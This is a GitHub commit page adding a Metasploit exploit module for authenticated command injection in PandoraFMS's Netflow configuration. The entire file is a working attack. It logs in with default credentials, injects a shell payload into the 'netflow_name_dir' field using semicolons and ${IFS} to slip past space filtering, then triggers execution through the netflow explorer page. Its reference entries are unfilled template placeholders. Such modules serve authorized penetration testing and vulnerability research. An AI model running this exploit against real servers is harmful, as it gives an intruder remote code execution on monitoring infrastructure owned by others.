Skip to content

Commit 828b6aa

Browse files
committed
Adds module for PandoraFMS Netflow RCE
1 parent 618db3d commit 828b6aa

File tree

1 file changed

+194
-0
lines changed

1 file changed

+194
-0
lines changed
Lines changed: 194 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,194 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::Tcp
10+
include Msf::Exploit::Remote::HttpClient
11+
prepend Msf::Exploit::Remote::AutoCheck
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'PandoraFMS Netflow Authenticated Remote Code Execution',
18+
'Description' => %q{
19+
This module exploits a command injection vulnerability in Netflow component of PandoraFMS. The module requires set of user credentials to modify Netflow settings. Also, Netflow binaries have to present on the system.
20+
},
21+
'License' => MSF_LICENSE,
22+
'Author' => ['msutovsky-r7'], # researcher, module dev
23+
'References' => [
24+
[ 'OSVDB', '12345' ],
25+
[ 'EDB', '12345' ],
26+
[ 'URL', 'http://www.example.com'],
27+
[ 'CVE', '1978-1234']
28+
],
29+
'Platform' => ['unix', 'linux'],
30+
'Arch' => [ ARCH_CMD ],
31+
'Privileged' => false,
32+
'Targets' => [
33+
34+
[
35+
'Linux/Unix Command',
36+
{
37+
'Platform' => ['unix', 'linux'],
38+
'Arch' => [ ARCH_CMD]
39+
}
40+
]
41+
],
42+
# 'Payload' => {
43+
# 'BadChars' => " "
44+
# },
45+
'DisclosureDate' => '2025-12-30',
46+
'DefaultTarget' => 0,
47+
'DefaultOptions' => {
48+
'RPORT' => 80
49+
},
50+
'Notes' => {
51+
'Stability' => [CRASH_SAFE],
52+
'Reliability' => [REPEATABLE_SESSION],
53+
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
54+
}
55+
)
56+
)
57+
58+
register_options(
59+
[
60+
OptString.new('TARGETURI', [true, 'The base path to PandoraFMS application', '/pandora_console/']),
61+
OptString.new('USERNAME', [true, 'Username to PandoraFMS applicaton', 'admin']),
62+
OptString.new('PASSWORD', [true, 'Password to PandoraFMS application', 'pandora'])
63+
]
64+
)
65+
end
66+
67+
def check
68+
res = send_request_cgi({
69+
'method' => 'GET',
70+
'uri' => normalize_uri(target_uri.path, 'index.php'),
71+
'vars_get' => { 'login' => '1' },
72+
'keep_cookies' => true
73+
})
74+
return Msf::Exploit::CheckCode::Unknown('Received unexpected response') unless res&.code == 200
75+
76+
html = res.get_html_document
77+
78+
return Msf::Exploit::CheckCode::Unknown('Response seems to be empty') unless html
79+
80+
version = html.at('div[@id="ver_num"]')&.text
81+
82+
@csrf_token = html.at('input[@id="hidden-csrf_code"]')&.attributes&.fetch('value', nil)
83+
84+
return Msf::Exploit::CheckCode::Safe('Application is not probably PandoraFMS') unless version
85+
86+
version = version[1..]&.sub('NG', '')
87+
88+
vprint_warning('Token was not parsed, will try again') unless @csrf_token
89+
90+
vprint_status("Version #{version} detected")
91+
92+
return Exploit::CheckCode::Vulnerable("Vulnerable PandoraFMS version #{version} detected") if Rex::Version.new(version).between?(Rex::Version.new('7.0.776'), Rex::Version.new('7.0.777'))
93+
94+
Msf::Exploit::CheckCode::Safe('Running version is not vulnerable')
95+
end
96+
97+
def get_csrf_token
98+
res = send_request_cgi({
99+
'method' => 'GET',
100+
'uri' => normalize_uri(target_uri.path, 'index.php'),
101+
'vars_get' => { 'login' => '1' },
102+
'keep_cookies' => true
103+
})
104+
fail_with Failure::UnexpectedReply, 'Recevied unexpected response' unless res&.code == 200
105+
106+
html = res.get_html_document
107+
108+
fail_with Failure::UnexpectedReply, 'Empty response received' unless html
109+
html.at('div[@id="ver_num"]')&.text
110+
111+
@csrf_token = html.at('input[@id="hidden-csrf_code"]')&.attributes&.fetch('value', nil)
112+
113+
fail_with Failure::NotFound, 'Could not found CSRF token' unless @csrf_token
114+
end
115+
116+
def login
117+
res = send_request_cgi!({
118+
'method' => 'POST',
119+
'uri' => normalize_uri(target_uri.path, 'index.php'),
120+
'keep_cookies' => true,
121+
'vars_get' => { 'login' => '1' },
122+
'vars_post' =>
123+
{
124+
'nick' => datastore['USERNAME'],
125+
'pass' => datastore['PASSWORD'],
126+
'login_button' => "Let's go",
127+
'csrf_code' => @csrf_token
128+
}
129+
})
130+
fail_with Failure::NoAccess, 'Invalid credentials' unless res&.code == 200 && res.body.include?('id="welcome-icon-header"') || res.body.include?('id="welcome_panel"') || res.body.include?('godmode')
131+
end
132+
133+
def configure_netflow
134+
res = send_request_cgi({
135+
'method' => 'GET',
136+
'uri' => normalize_uri(target_uri.path, 'index.php'),
137+
'vars_get' => { 'sec' => 'general', 'sec2' => 'godmode/setup/setup', 'section' => 'net' }
138+
})
139+
140+
fail_with Failure::NotFound, 'Netflow might not be enabled' unless res&.code == 200
141+
142+
html = res.get_html_document
143+
144+
fail_with Failure::UnexpectedReply, 'Unexpected response when trying to configure Netflow' unless html
145+
146+
netflow_daemon_value = html.at('input[@name="netflow_daemon"]')&.attributes&.fetch('value', nil)
147+
netflow_nfdump_value = html.at('input[@name="netflow_nfdump"]')&.attributes&.fetch('value', nil)
148+
netflow_nfexpire_value = html.at('input[@name="netflow_nfexpire"]')&.attributes&.fetch('value', nil)
149+
netflow_max_resolution_value = html.at('input[@name="netflow_max_resolution"]')&.attributes&.fetch('value', nil)
150+
netflow_disable_custom_lvfilters_sent_value = html.at('input[@name="netflow_disable_custom_lvfilters_sent"]')&.attributes&.fetch('value', nil)
151+
netflow_max_lifetime_value = html.at('input[@name="netflow_max_lifetime"]')&.attributes&.fetch('value', nil)
152+
netflow_interval_value = html.at('select[@name="netflow_interval"]//option[@selected="selected"]')&.attributes&.fetch('value', nil)
153+
154+
fail_with Failure::Unknown, 'Failed to get existing Netflow configuration' unless netflow_daemon_value && netflow_nfdump_value && netflow_nfexpire_value && netflow_max_resolution_value && netflow_disable_custom_lvfilters_sent_value && netflow_max_lifetime_value && netflow_interval_value
155+
156+
res = send_request_cgi({
157+
'method' => 'POST',
158+
'uri' => normalize_uri(target_uri.path, 'index.php'),
159+
'vars_get' => { 'sec' => 'general', 'sec2' => 'godmode/setup/setup', 'section' => 'net' },
160+
'vars_post' =>
161+
{
162+
'netflow_name_dir' => ';' + payload.encoded.gsub(' ', '${IFS}') + ';',
163+
'netflow_daemon' => netflow_daemon_value,
164+
'netflow_nfdump' => netflow_nfdump_value,
165+
'netflow_max_resolution' => netflow_max_resolution_value,
166+
'netflow_disable_custom_lvfilters_sent' => netflow_disable_custom_lvfilters_sent_value,
167+
'netflow_max_lifetime' => netflow_max_lifetime_value,
168+
'netflow_interval' => netflow_interval_value,
169+
'update_config' => '1',
170+
'upd_button' => 'Update'
171+
}
172+
})
173+
fail_with Failure::PayloadFailed, 'Failed to configure Netflow' unless res&.code == 200
174+
end
175+
176+
def trigger_payload
177+
send_request_cgi({
178+
'method' => 'GET',
179+
'uri' => normalize_uri(target_uri.path, 'index.php'),
180+
'vars_get' => { 'sec' => 'network_traffic', 'sec2' => 'operation/netflow/netflow_explorer' }
181+
})
182+
end
183+
184+
def exploit
185+
# do we have csrf token already
186+
get_csrf_token unless @csrf_token
187+
188+
login
189+
190+
configure_netflow
191+
192+
trigger_payload
193+
end
194+
end

0 commit comments

Comments
 (0)